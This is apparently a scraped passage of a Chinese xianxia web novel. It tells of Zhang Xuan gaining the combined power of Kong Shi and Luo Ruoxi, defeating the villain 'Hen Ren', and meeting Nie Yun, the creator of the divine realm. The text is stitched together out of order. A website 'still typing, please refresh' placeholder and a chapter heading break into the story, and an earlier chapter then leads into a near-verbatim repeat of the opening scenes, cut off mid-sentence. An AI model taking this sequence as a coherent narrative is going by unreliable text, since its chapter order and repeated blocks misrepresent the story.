不再解释，单手一划，张悬重新来到孔师居住的所在，果然看到一个老者盘膝悬浮在空中，见他们来到，微微一笑：“来了！” 不是孔师，又是何人！ 这位万世之师，果然没让自己失望！ 和猜测的一样，趁着所有人都将注意力集中在潮汐海的时候，重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活，不死帝君也活过来了，但……没想到速度这么快！ “我隐瞒天道，提前就准备了后手，幽魂池中的那个没有名字的巨人，就是我留下的，当日被你斩杀，我借机摆脱了天道的束缚，重新凝聚肉身，现在也刚刚恢复罢了！” 孔师微微一笑。 他精通时间能力，看起来神界只过了一、两天，实际上为了恢复力量，经历了不知多久。 几十年的时光，都有了。 “我们三人的实力，是很强，但想要胜过狠人，也没那么容易……” 见孔师果真恢复，洛若曦依旧摇头。 不是涨他人威风，灭自己志气，而是事实。 刚才这么多人联合，都没挡住对方，即便增加一个孔师，又能如何？ 同样改变不了局面！ “我们单个的实力，甚至联合在一起，的确不是对方的对手，但……如果将所有人的力量，都融合在一个人的身上呢？” 孔师笑着看过来。 “融合在一个人身上？” 这次不光洛若曦皱眉，张悬也满是疑惑。 “那个手掌能够撕裂神界，将天道都打散，实力之强，不容置疑，狠人将这股力量全部吸收，又吞噬了神界五十年的灵气，单凭实力，我们十几位帝君，单个拿出来，的确不是对手……” 孔师道：“但联合在一起，将力量集中在一人身上……就未必了吧！” “如何集中？” 洛若曦看过来。 说的简单，做起来难。 帝君已经站在神界最巅峰了，如果这么容易吸收别人的力量，她也不至于这么多年，停滞不前。 “很简单……我们将身上的力量，集中在张悬身上，一旦他能冲破帝君桎梏，就能救下神界！” 孔师道。 “我？”张悬一愣：“为什么是我？” “灵犀帝尊修炼的是自由自在，超脱自然！但有了父亲和天道的制约，有了牵挂的人，就永远没办法真正超脱！如果我没看错，当初和我战斗的时候，你也曾放弃过，打算被我斩杀吧！” 孔师道。 洛若曦说不出话来。 战斗的时候，的确有过这种打算，所以二人的交手，刚开始的时候，各自留着后手，宛如切磋，不像生死搏斗。 “无法超脱，自然也就发挥不出最强力量，即便给与再多的真气，同样无法冲击那至高的境界！至于我……” 孔师点头道：“心怀苍生，想要普度天下，却不愿意别人为我牺牲，仁慈太多，也是缺点！如果心狠一些，将异灵族灭族，就不会有现在的局面……” 当初如果能将异灵族人全部灭杀，狠人就不可能复活，也不会有现在的情况。 “所以，我也不适合！而张悬，功法顺心，没有缺陷。讲究活出自我，哪怕身死，只要活得无愧，就心中坦荡。这种人拥有更大的包容，更大的发展空间，只有这样，才能走的更高，更远！” 孔师继续道。 生当复来归，死当长相思！ 连死亡都不在乎，又怎么会被其他事情所羁绊？ “这……”张悬皱眉，正想说些什么，就见孔师目光炯炯的看过来：“不用推辞了，先说时间来不及，去培养其他人，就算来得及，我也觉得未必有人能比你做得更好！灵犀帝尊体内虽没有天道碎片，却常年掌控天道，对天道有着属于自己的理解；我掌控天道有序，如果我们将力量灌输给你，你体内就会拥有完整天道的力量！配合上分身的九天混沌金莲，完全可以做到定九天，掌乾坤，战九霄，灭万物！” “好吧！” 见对方已经做出决定，自己解释再多也无用，张悬点了点头。 轰隆！ 盘膝做好，一眨眼功夫，两股雄浑的力量，就从两侧灌涌而来。 张悬全身一僵，整个人仿佛刹那间化身天道，翱翔在九天之上。 灵魂、肉身、真气，都在瞬间得到了洗礼，越来越强，越来越雄浑。 …… “你们也想拦我？也好，杀了你们，再去将张悬斩杀……” 将洛七七和分身等人拍飞，狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量，的确很强大，不过，和他比，依旧弱了一些。 潮汐海将神界出了城市外的灵气，几乎全部吞噬干净，现在这些力量，都化作他的寄养，举手投足，带着毁灭天地的能力，这些帝君、神王，尽管代表了神界最巅峰，依旧不堪一击。 此时的狠人，仿佛代表了整个神界，无人能挡。 “神界灭亡，我们活着也没意义，我云螭，与你同归于尽……” 云螭大帝变化出本体，一头巨大的五爪金龙，凌空向他扑了过去。 “就你？不配！” 狠人手掌一捏，金龙就挂在掌心，无论如何挣扎，都逃脱不掉。 “老友，等我！” 扶猛帝君也一声大吼，变化出白虎本尊，凌空来到跟前。 不死帝君，不死火凤本尊显示出来，火焰照耀天空。 玄冥大帝，本尊乃一头大龟，宛如托举着诸天。 四大神兽，镇守神界四极，同时变化本体，崩塌的神界，都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭！ 连续四掌，狠人将四兽镇压下来，眼中闪过一道浓烈的杀意：“既然你们找死，我就成全你们……” 咆哮声中，正想下死手将众人全部抹杀，就感到扬起的手臂一紧，在空中停了下来。 “想要杀他们，问过我没有……” 随即，众人震惊的目光中，一个人影从空中缓步走了出来。 正是张悬！ 此时的青年，全身力量澎湃，比刚才强大了十倍不止，自天而来，宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来，目光凝重。 他显然也没明白，为何短短几分钟的光景，对方的实力有了如此巨大的变化。 “不过，增加了又如何？全盛期的神界，都抵挡不住，我不信，你能挡得住我……” 一声冷哼，狠人再次拍落而下。 张悬长剑扬起，迎了上来。 双方战斗在一起，空间一道道撕裂，气流四处乱窜。 “张悬能不能获胜？” 自在天孔师驻地，洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬，自身修为，已经降低到只有神王级别，不如之前那么辉煌了。 不过，级别在哪里摆着，只要力量足够，终有一天，可以重新恢复。 “凭借现在的实力，想要胜过……很难！除非……他能领悟超越帝君的力量！” 沉默了片刻，孔师道。 十几个帝君联合，都无法胜过狠人，即便他们将力量全部传递给对方，想要胜过，也没那么容易。 之所以这样做，是因为……力量只有集中在一人身上，才有可能触碰到顶点，才有可能真正超越极限，突破自我！ “超越帝君的力量？” 洛若曦眼神悠远。 父亲还清醒的时候，曾和她说过同样的话，但……她无法做到，自己心爱的男子，能够做到吗？ “他一定能……他有着一颗不屈的心！和对这个世界的傲然。” 看出她心中的疑问，孔师笑道。 …… 嘭嘭嘭！ 连续几招下来，张悬虎口开裂，胸口出现了一道巨大的伤痕，狰狞可怖。 和孔师说的一样，即便融合了他们二人的力量，体内形成了完整的天道，依旧不是对手。 “哈哈，还以为多厉害，不过如此！”狠人冷冷一笑。 “反正不是你的对手，早晚都会被杀，既然如此，我想死在你最强的攻击之下……”深吸一口气，张悬停了下来，不在进攻，反而看向眼前的狠人。 “好，我成全你，给你最强的攻击……” 听他这样说，狠人愣了一下，随即冷哼一声，手掌扬起。 哗啦！ 一道青光出现在掌心，猛地拍落而下。 果然是最强攻击，整个神界都发出轰鸣，宛如快要承受不住，再次被打出一个巨大的坑洞。 双眼紧闭，张悬并未躲避。 嘭！ 脑袋炸裂开来，灵魂四处溃散。 “张悬……”看到这一幕，所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛，不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏，冲击超越帝境境界的，怎么不去反抗，甘心赴死？ 这样，岂不辜负了他们的一番好心？ “不对，是不死帝君的不死之法……” 正在奇怪，孔师突然开口。 众人随即看到，脑袋炸开，甚至灵魂碎裂的张悬，胸口的吊坠陡然炸开，一滴血液悬浮而起，燃烧起来，形成了一团炙热的火焰，火焰中，一具完好无损的身影，缓步而出。 “他……借助对方的力量，和吊坠中的血液，将天道有缺和灵魂分离了？” 洛若曦瞳孔收缩。 浴火重生后的张悬，体内竟然没了天道图书馆，没了天道的干扰，脱离了天道！ “他怎么做到的？” 孔师也满是不敢相信。 天道和灵魂融合在一起，不分彼此，为了摆脱，他不得不魂飞魄散，借助幽魂池重新凝聚魂魄。 眼前这位，只被斩杀了一下，就彻底摆脱，用了什么办法？ “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人，主人不解除，仆人就永远受制……天道图书馆也是这样，可以说是一种增强版的契约。 绑定了灵魂，不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约，具体方法，张悬之前详细询问过，恐怕那时就动了心思。 这才故意拼死，让其施展出最强力量对他攻击。 借助这种力量，浴火重生，没想到，果然大获成功！ “原来如此，这才是突破帝君的方法……” 从火焰中走出的张悬，脸上露出淡淡的微笑，像是明白了什么，突然一招手，一侧的分身，立刻重新变成一朵莲花，飞了过来。 刹那间，与自身完美融合。 一眨眼功夫，众人感觉，眼前的张悬，像是变成了九天，九天就是他。 脚掌在地上轻轻一踏。 混乱的九天，立刻稳定下来。 九天混沌金莲，九天诞生时出现，能够稳定九天，此时分身和自我完美融合，不分彼此，也就等于他掌控了这种力量。 不仅如此，融合了九天混沌金莲的修为，他本就达到巅峰的境界，出现了松动，似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起，原来就是世间万物，这才是人！” 面带微笑，张悬喃喃自语。 天道图书馆脱离灵魂的刹那，他明白过来。 是人看了世界，才有了世界，还是先有世界，后有了人？ 是风动，还是心动！ 这个问题，亘古不朽的困扰着无数人。 当然，现在……这些都不重要了！ 没有生命，没有情感，世界就算存在，又有何意义？ 所以，突破爱情之后，是众生情！是交织天下的情感。 世间万物皆有情感，有情才有世界，有情感，才能延续生命。 爱，是情。 憎，是情。 高兴，是情。 痛苦，是情。 离别，是情。 相聚，也是情！ “万千情意，为我所用……” 一声低呼，张悬体内禁锢的境界，瞬间破开。 帝君桎梏，突破了！ 一瞬间，仿佛触摸到了一个全新的世界和大门，灵魂得到了快速的滋养。 无数混沌之气，涌了过来，肉身也飞速提升。 之前只有吸收灵力，才能进步，而现在空间乱流、混沌之气，哪怕是对方的青光，都可以为我所有，不分彼此。 “你……”狠人没想到，自己的全力攻击，非但没将其斩杀，反而成全了他，气的“哇哇！”乱叫，一声怒喝，再次攻击下来。 “你怨恨高高在上的帝君，没在空间乱流中救下自己，是情；觉得曾是我的仆人，蕴含卑微和愤怒，是情；想要毁灭神界，发泄愤怒，是情；想要变得更加强大，同样是情……情感控制着你，你又如何胜得过我，不被我控制？” 淡淡一笑，张悬的声音越来越快，越来越响亮，手掌轻轻一抓。 原本纵横无敌的狠人，就被无数情感细线，禁锢在一起，束手束脚，无法动弹。 只要有情，就要被他所用，被他控制！ “你……” 狠人眼中满是惶恐：“张师，我是你的仆人，不要杀我……我愿意灵魂献祭……” “现在再说这些，已经晚了……”微微一笑，张悬摇了摇头。 掌控天下之情，仆人之类对于他来说，已经没任何意义了。 杀了神级这么多人，伤了自己的女朋友，洛七七以及这么多朋友，今天，又怎么可能宽恕！ “不……” 感受到他的果决，狠人瞳孔收缩，话音未结束，立刻感到身上一阵剧烈的疼痛。 嘭！ 一刹那间，爆炸开来，化作无数灵气，向神界各处灌涌。 之前，潮汐海吞噬掉的所有力量，此时全部反哺回来，已经枯竭的荒野，重新焕发生机。 “这……” “这样就杀了？” 云螭大帝、不死帝君、玲珑仙子啊等人，全都瞪大了眼睛，不敢相信。 刚才他们和狠人交过手，知道可怕，这么强大的人，竟然随手覆灭，这位张悬……到底达到了何种地步？ 难道帝君之上，真的还有另外的境界？ “他成功了……” 孔师和洛若曦，松开捏紧的拳头。 “这是天道的一部分，那我现在就归还天道……” 看到刚才从自己体内，被分离出来的“天道有缺”，依旧在空中悬浮，张悬轻轻一笑，屈指一弹。 嗡！ 从重生就伴随他的图书馆，轰然镶嵌在神界的天空之上。 大钟般的鸣响，不断崩溃的神界，肉眼可见的缓慢恢复，混乱的气流，也重新聚拢起来。 崩塌的神界，终于停了下来，干枯的灵气，也伴随狠人的死亡，慢慢复苏。 “看来，神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿，伴随天道的补全，已经恢复，神界恢复以前的盛况，只是时间问题。 “张悬，这边来……” 刚做完这些，脑中响起一个声音，张悬愣了一下，一步跨出。 这一步，不知飞了多远，随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈，你……” 看到是他，张悬一愣。 之前就觉得这位，深不可测，现在才发现，比起自己，也只差了一丝而已，已然达到了帝君的最巅峰，比起之前的洛若曦，都强大不知多少。 “直呼我名字即可，我叫……聂铜！”青年身上散发出一往无前的剑意，淡淡道。 “聂铜？”张悬皱了皱眉。 第一次听到这个名字。 “跟我来，带你见我哥哥！”叫做聂铜的青年莞尔一笑，向前跨步而出。 张悬紧跟在身后，不知飞了多远，在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少，双眉上扬，给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力，竟然比他还要强大，同样突破了帝君的桎梏，而且修为更加深远厚重！ “在下，聂云！”青年淡淡一笑，看了过来：“也就是……聂灵犀，你口中洛若曦的父亲！” “若曦的父亲？” 张悬一震：“你……是神界天道？” 之前洛若曦说过，自己的父亲，是天道，怎么都想不到，是这样一个年轻人。 “我一气化三清，一部分灵魂，变成了天道！再说，这个世界，是我创造的，说我是天道也无不可！”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的？ 那他的实力，该有多强？ “不对，如果神界是你创造的，你又是天道，为何任由狠人肆虐，而不出手……”张悬看过来。 如果不是自己突破，神界极有可能彻底崩塌，为何眼前这人，不管不问？ 甚至连女儿的生死，都关心？ 没回答他的问题，聂云淡淡的看过来：“你认为……神界之上，还有更加强大的生命吗？” “这……”张悬停顿了一下：“应该有吧……” 虽然没见过，但既然他能修炼到这种境界，或许其他人也可以，甚至更强。 就好像眼前这位。 “我曾怀疑，神界之上会有更强大的生命，所以用尽全力窥视，最终引来了更高世界的反噬……一个手掌破空而下！” 聂云看过来：“当时如果我躲闪，极有可能整个神界都会被抹平，再没有半个生命……所以，挡下了这招，但也因此，化身的天道被分裂出去。” “这种情况，我想恢复，只是一道意念而已，但……我明白，想要真正超脱神界桎梏，去探索手掌由何而来，神界之外，又有什么……单靠我一人很难做到。所以，想要看看，有没有生命，能够突破帝君桎梏，达到和我平齐的地步！” “所以，就将分散的天道意念，送到最底层的世界……分别赐予原本属于这个世界的灵魂，和一个不属于这个世界的灵魂。而你，最终没让我失望！” 聂云笑道。 “不属于这个世界的灵魂，这样说来，我穿越，也是因为你？”张悬心中一震。 难怪，能够穿越过来，没想到都是眼前这位所为。 “呵呵！”聂云轻轻一笑，道：“本身属于这个世界，就有着对世界的敬畏，想要突破世界桎梏，难度要大得多，我也是心念一动，并没想到，你真的能够成功……” “我……”张悬脸色一红：“如果不是孔师，我根本不可能达到这种地步……” 没有孔师的无私奉献，想要达到现在的境界，根本不可能做到。 “机会我给他了，没把握住而已。和灵犀的比斗，其实就是他突破的最佳机会，可惜，他选择了退避，以为自己留了后手，可以全身而退，实际上却是失去了勇猛精进，面对超越我们的人，如果连这点精神都没有，又如何能够与之抗衡？” 聂云道。 张悬沉默不语。 当时二人的战斗，他都看在眼里，孔师的确在果决上有些欠妥。 也有可能，他不愿意斩杀洛若曦吧。 可惜，就这一念之间，错过了晋级的机会。 “如果孔师获胜，若曦就会死……”片刻后，张悬看过来，眉毛皱起。 难不成，眼前这位连女儿的生死都不管了？ “有我在，她不会死……”聂云淡淡一笑：“你现在的实力，和我也差不了多少了，你觉得二人的实力，生死关头，想要救人，能不能做到？” “这……”张悬苦笑。 突破帝君，和帝君，是两个概念，如果他真的愿意出手，的确可以在最后关头将人救下，而且保证，一点伤都受不了。 “灵犀，是我另外一个妻子洛倾城所生，所以她伪装的名字，姓洛……为了能让她相信，不感情用事，到现在一直以为我还陷入昏迷……” 聂云苦笑一声：“我这个爹也算做得够狠了……这样吧，这件事还是你和她解释吧，毕竟，她现在的心思，已经转移到你身上了，我这个老爹，估计都想不起来了……哈哈，我暂时就不出现了，躲避上一段时间再说，不然，真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹，面皮一抽，张悬只好答应：“好吧……” 不答应也没办法，谁让自己拐走了人家的女儿…… “天道图书馆，是我一道意念所化，是根基，也是桎梏，你能靠自己的能力，突破桎梏，说明了能力和潜力，将来前途无量，我女儿能和你在一起，做父亲的，也算欣慰了。” 正在手打中，请稍等片刻，内容更新后，请重新刷新页面，即可获取最新更新！ 第226章 东一块西一块，像屎…… 灵魂契约，契合灵魂，只要自己不解除，哪怕对方手段通天，都无法化解。 就好像不死帝君小黄鸡，之前只是神王，他是帝君，同样没办法解决这种约定。 为了防止这家伙变卦，出现反噬的现象，名师大陆就曾专门定下，即便对方可以脱离天道之册，也无法挣脱灵魂间的约定啊！ “灵魂契约，的确无法从识海中分裂出去，但我融合了连天道都可以化解的特殊气体，将这种契约化解掉，并不难……只要有足够力量，轰击契约所在之处，就能做到！” 狠人道。 灵魂契约，是建立在天道基础上的，特殊力量连神界天道都能化解，化解个灵魂契约，只要处理得当，又有何难？ “原来如此……”张悬目光一闪。 “和你说这么多，也算感谢将我带到神界了！” 解释完，狠人不再多说，身上的气息愈发的亘古悠远，身后的黑洞变得更加巨大，显然说话的功夫，又吞噬了不知多少力量，做了滋补。 “张悬，黑洞吞的越多，他的实力越强……” 洛若曦也发现了不对劲，急忙传音过来。 “准备动手吧！”心中疑惑尽消，张悬深吸一口气，手中长剑，陡然扬起：“既然如此，那就手底下见真章吧！” 轰隆！ 最强大的剑意，再次施展而出。 生当复来归，死当长相思！ 生死皆不在乎，又有何事可以阻拦？ 这一招剑法，虽然是没达到帝君领悟的，却蕴含了心中的一切执念，将体内的天若有情功法，发挥到了极限。 呼！ 一剑将狠人的攻击，斩成两半。 同一时刻，洛若曦也出手了，玉手翻滚，剑芒如雪。 她的剑法和剑神天的那位青年有些相似，带着一往无前的气势，和大道自然的潇洒。 “你们的招数是很厉害，但对比我，还是差了些……” 轻轻一笑，狠人再次向下抓来。 一瞬间，遮天蔽日，手掌将天地都笼罩了，空间碎裂，日月星辰都仿佛要被硬生生打下来。 噗！噗！ 张悬和洛若曦同时倒飞而出，人在空中鲜血狂喷。 以二人的实力，竟然抵挡不住！ 这家伙到底达到了何种境界？ “放肆！”分身大步踏来，每走一步，就有莲花绽放，虚空中带着流水的声音。 远远看去，逼格十足。 炼化九天混沌金莲，他的修为比起张悬，丝毫不弱。 一拳扬起，力量冲上九天。 和狠人对碰，同样倒飞而出，挡不住一招。 张悬捂住额头。 成就帝君了，分身依旧不改装逼的本性…… 这么绚丽的装逼，还不如将力量集中起来，威力更大！ “一起出手，不然，他们死了，我们都会死……” 小黄鸡一声大喝，赤红的的火焰燃烧，天空都像被点燃。 剩下六大帝君，也各自施展手段。 七位帝君联合，毁天灭地，一方天地在面前都抵挡不住，但对方是吸收了特殊力量的狠人，攻击来到跟前，黑洞陡然变大，眨眼功夫就将力量吞噬干净，紧着着反击而出。 嘭嘭嘭嘭！ 七位帝君和张悬等人一样，倒飞而出。 十大帝君，联合在一起，竟然都没挡住对方一招！ 这家伙，怎么会这么强大？ “你们可以死了……” 一招击溃众人，狠人向前一步，手腕一翻，再次拍了下来。 “鼠辈敢尔！” 伴随一声大喝，之前剑神天的那位老者，突兀出现，挡在面前，手中长剑化作银河。 “帝君？他也是帝君实力？” 张悬瞳孔一缩。 这位老者当初跟在青年身后，本以为只是个随从，最多封号神王，施展出力量才发现，竟然也是一位帝君强者！ 如果他是帝君，那位青年，是什么？ “他本身就是剑神天的帝君……”挣扎站着身来，洛若曦咬牙道。 “那……传我剑法的青年呢？”张悬再也忍不住。 “他是……”洛若曦刚想回答，空间一阵扭曲，随即看到剑神天的这位帝君，同样倒飞了出去，落在不远处，砸出一个大坑。 张悬现在的实力，和对剑道的领悟，远超过他，都抗衡不住，他即便修为不弱，剑术高明，依旧不是对手。 “哈哈，帝君，一群土鸡瓦狗而已！今天我就灭了九天，灭了这神界，将一切规则踏平！” 将剑神天的帝君击败，狠人疯狂大笑，四周的空间不停坍塌，衬托的他如妖如魔。 “怎么办？”张悬拳头捏紧。 刚才他和分身，都施展出最强战斗力了，甚至眼前的洛若曦，也将最强招数使用了出来，都没挡住对方的一招…… 难道神界，真的没人能够挡住眼前这位？ 任由他将世界毁灭？ “唯一的办法……是将你的天道有缺，回归天道本身，让天道将他镇压……”洛若曦秀拳捏紧，眼眶泛红。 “回归天道本身？”张悬知道她的意思。 脑海中的图书馆，本身是天道的一部分，一旦回归，天道就等于彻底完整了，或许就可以修复漏洞，自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整，病毒来了，轻易驱赶；坏了，抵抗不住病毒入侵，再强壮的人，也会因此死亡。 只是…… “他太强大了，即便天道恢复完整，也无法镇压吧！”张悬摇头。 病毒，免疫系统是可以斩杀，但……猛虎呢？ 再强的免疫系统，又有什么办法？ 眼前这位，只是普通神王，哪怕封号，天道都可以轻易杀死，可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下，洁白的玉面上露出失落之色：“是啊……没办法镇压，但是，天道完整，他就能醒过来，斩杀这位，并不难！” “他？”张悬皱眉。 “我带你去见他，就在自在天……”深吸一口气，洛若曦一咬牙，转身就向前飞去。 “想逃？”狠人冷哼，向下一按。 嘭！ 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来，剑意辉煌而出。 叮叮叮！ 再次被狠人挡住。 “你们快走，我来挡住他……” 知道他们再想拯救神界的方法，而不是逃走，分身和不死帝尊，一声大喝挡在前面，洛七七也摇身一变，回归静空珠本体。 四周的空间凝固起来。 “走！” 见众人奋不顾身挡在后面，无畏惧死亡，张悬眼眶一红，不过，也知道现在不是多说的时候，一拉洛若曦，身体一晃，划破空间，下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在，神界崩塌，四处一片混乱。 “你说的他，在哪里？” 没空去观察普通人的生活，张悬看向怀中的女孩。 如果她说的那人，真能拯救神界，自己牺牲又何妨！ “他是我的父亲，你吊坠中的血液，就是他的，不死帝君，曾是他的兽宠……”洛若曦调息了一下，解释道。 “父亲？” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似，却又不同，原来是她父亲的。 这样也就解释了，为何不死帝君留下的那道意念，看到吊坠后，立刻认自己为主。 “你父亲也是帝君？或者拥有超越帝君的实力？” 忍不住道。 图书馆混乱，是吊坠中的血液，让自己恢复清醒，难不成，不仅她是帝君，父亲也是，甚至更加强大？ 如果是这样的话，又为何会昏迷？ 又需要天道有缺，才能让其清醒？ “他不是帝君，而是……天道！” 洛若曦秀拳捏紧。 “天道？你父亲……是天道？”张悬一震，不敢相信。 “是！五十年前，父亲抵挡不住那只大手，陷入昏迷，天道崩散成三部分，天道有序和天道有缺，进入空间乱流，我代为掌控天道自然，维持神界的平衡。想要让他恢复，只有将散开的部分收集……所以，我才如此决绝，不能失败！才专门进入名师大陆，研究春秋大典，想办法战胜孔师！和孔师战斗的时候，拜托他的事，也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久，眼前的女孩，就和自己讲述过她的故事，要救一位至亲，自己当时还不明白，现在才恍然大悟。 竟然是她父亲，而且还是神界天道！ 天道真的能够化成人形，并且生儿育女吗？ “代为掌控天道自然……你体内，没有天道碎片？”突然，意识到她语言中的不对劲，张悬看过来。 代为掌控，和自己这种融合在体内，是两种概念。 “我只是掌控，并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来，只需要自己将天道有缺剥离出来就行了，并不需要她也死亡。 尽管这种命运，不愿意接受，却也不愿意眼前的女孩，受到伤害。 “我将体内的天道有缺剥离出来，你父亲就能活过来，甚至将狠人击杀是吧？”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界，洛若曦迟疑。 神界是父亲的根基，现在根基都这样了，就算清醒，真的能够将那个强大的狠人击败吗？ 真不好说！ “看来你也不能肯定，既然如此，求人不如求己……我们只有自己想办法！”张悬咬了咬牙：“你、我、分身，联合九天九帝，如果在配合上孔师，未必不能获胜！” “孔师？他……”洛若曦皱眉。 “孔师已经死了是吧！他并未真正死亡，如果猜的没错，他被你斩杀，只是用来脱离天道的方法……不出意外，他应该和魏长风一样，是【先天胎魂体】！” 张悬道。 看到魏长风，就明白过来，孔师所谓的保持灵智，应该和他一样，是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手，复活，只是时间问题。 洛若曦愣住，似乎她没想到，会是这样。 “过去看看就知道了，猜的不错，他应该已经恢复，不然，他的那些学生，不可能连潮汐海都没去……”张悬道。 孔师的那些学生，子渊古圣等人，个个实力强劲，就算没有帝君帮助，也必然有办法进入潮汐海，可却一个都没见。 必然是有更重要的事情等着，想要趁所有帝君去潮汐海无暇顾及的时候去做！ 而这种重要的事，明显就是让孔师恢复。 “这……”洛若曦心中一震，恍然大悟。 “走吧！” 不再解释，单手一划，张悬重新来到孔师居住的所在，果然看到一个老者盘膝悬浮在空中，见他们来到，微微一笑：“来了！” 不是孔师，又是何人！ 这位万世之师，果然没让自己失望！ 和猜测的一样，趁着所有人都将注意力集中在潮汐海的时候，重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活，不死帝君也活过来了，但……没想到速度这么快！ “我隐瞒天道，提前就准备了后手，幽魂池中的那个没有名字的巨人，就是我留下的，当日被你斩杀，我借机摆脱了天道的束缚，重新凝聚肉身，现在也刚刚恢复罢了！” 孔师微微一笑。 他精通时间能力，看起来神界只过了一、两天，实际上为了恢复力量，经历了不知多久。 几十年的时光，都有了。 “我们三人的实力，是很强，但想要胜过狠人，也没那么容易……” 见孔师果真恢复，洛若曦依旧摇头。 不是涨他人威风，灭自己志气，而是事实。 刚才这么多人联合，都没挡住对方，即便增加一个孔师，又能如何？ 同样改变不了局面！ “我们单个的实力，甚至联合在一起，的确不是对方的对手，但……如果将所有人的力量，都融合在一个人的身上呢？” 孔师笑着看过来。 “融合在一个人身上？” 这次不光洛若曦皱眉，张悬也满是疑惑。 “那个手掌能够撕裂神界，将天道都打散，实力之强，不容置疑，狠人将这股力量全部吸收，又吞噬了神界五十年的灵气，单凭实力，我们十几位帝君，单个拿出来，的确不是对手……” 孔师道：“但联合在一起，将力量集中在一人身上……就未必了吧！” “如何集中？” 洛若曦看过来。 说的简单，做起来难。 帝君已经站在神界最巅峰了，如果这么容易吸收别人的力量，她也不至于这么多年，停滞不前。 “很简单……我们将身上的力量，集中在张悬身上，一旦他能冲破帝君桎梏，就能救下神界！” 孔师道。 “我？”张悬一愣：“为什么是我？” “灵犀帝尊修炼的是自由自在，超脱自然！但有了父亲和天道的制约，有了牵挂的人，就永远没办法真正超脱！如果我没看错，当初和我战斗的时候，你也曾放弃过，打算被我斩杀吧！” 孔师道。 洛若曦说不出话来。 战斗的时候，的确有过这种打算，所以二人的交手，刚开始的时候，各自留着后手，宛如切磋，不像生死搏斗。 “无法超脱，自然也就发挥不出最强力量，即便给与再多的真气，同样无法冲击那至高的境界！至于我……” 孔师点头道：“心怀苍生，想要普度天下，却不愿意别人为我牺牲，仁慈太多，也是缺点！如果心狠一些，将异灵族灭族，就不会有现在的局面……” 当初如果能将异灵族人全部灭杀，狠人就不可能复活，也不会有现在的情况。 “所以，我也不适合！而张悬，功法顺心，没有缺陷。讲究活出自我，哪怕身死，只要活得无愧，就心中坦荡。这种人拥有更大的包容，更大的发展空间，只有这样，才能走的更高，更远！” 孔师继续道。 生当复来归，死当长相思！ 连死亡都不在乎，又怎么会被其他事情所羁绊？ “这……”张悬皱眉，正想说些什么，就见孔师目光炯炯的看过来：“不用推辞了，先说时间来不及，去培养其他人，就算来得及，我也觉得未必有人能比你做得更好！灵犀帝尊体内虽没有天道碎片，却常年掌控天道，对天道有着属于自己的理解；我掌控天道有序，如果我们将力量灌输给你，你体内就会拥有完整天道的力量！配合上分身的九天混沌金莲，完全可以做到定九天，掌乾坤，战九霄，灭万物！” “好吧！” 见对方已经做出决定，自己解释再多也无用，张悬点了点头。 轰隆！ 盘膝做好，一眨眼功夫，两股雄浑的力量，就从两侧灌涌而来。 张悬全身一僵，整个人仿佛刹那间化身天道，翱翔在九天之上。 灵魂、肉身、真气，都在瞬间得到了洗礼，越来越强，越来越雄浑。 …… “你们也想拦我？也好，杀了你们，再去将张悬斩杀……” 将洛七七和分身等人拍飞，狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量，的确很强大，不过，和他比，依旧弱了一些。 潮汐海将神界出了城市外的灵气，几乎全部吞噬干净，现在这些力量，都化作他的寄养，举手投足，带着毁灭天地的能力，这些帝君、神王，尽管代表了神界最巅峰，依旧不堪一击。 此时的狠人，仿佛代表了整个神界，无人能挡。 “神界灭亡，我们活着也没意义，我云螭，与你同归于尽……” 云螭大帝变化出本体，一头巨大的五爪金龙，凌空向他扑了过去。 “就你？不配！” 狠人手掌一捏，金龙就挂在掌心，无论如何挣扎，都逃脱不掉。 “老友，等我！” 扶猛帝君也一声大吼，变化出白虎本尊，凌空来到跟前。 不死帝君，不死火凤本尊显示出来，火焰照耀天空。 玄冥大帝，本尊乃一头大龟，宛如托举着诸天。 四大神兽，镇守神界四极，同时变化本体，崩塌的神界，都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭！ 连续四掌，狠人将四兽镇压下来，眼中闪过一道浓烈的杀意：“既然你们找死，我就成全你们……” 咆哮声中，正想下死手将众人全部抹杀，就感到扬起的手臂一紧，在空中停了下来。 “想要杀他们，问过我没有……” 随即，众人震惊的目光中，一个人影从空中缓步走了出来。 正是张悬！ 此时的青年，全身力量澎湃，比刚才强大了十倍不止，自天而来，宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来，目光凝重。 他显然也没明白，为何短短几分钟的光景，对方的实力有了如此巨大的变化。 “不过，增加了又如何？全盛期的神界，都抵挡不住，我不信，你能挡得住我……” 一声冷哼，狠人再次拍落而下。 张悬长剑扬起，迎了上来。 双方战斗在一起，空间一道道撕裂，气流四处乱窜。 “张悬能不能获胜？” 自在天孔师驻地，洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬，自身修为，已经降低到只有神王级别，不如之前那么辉煌了。 不过，级别在哪里摆着，只要力量足够，终有一天，可以重新恢复。 “凭借现在的实力，想要胜过……很难！除非……他能领悟超越帝君的力量！” 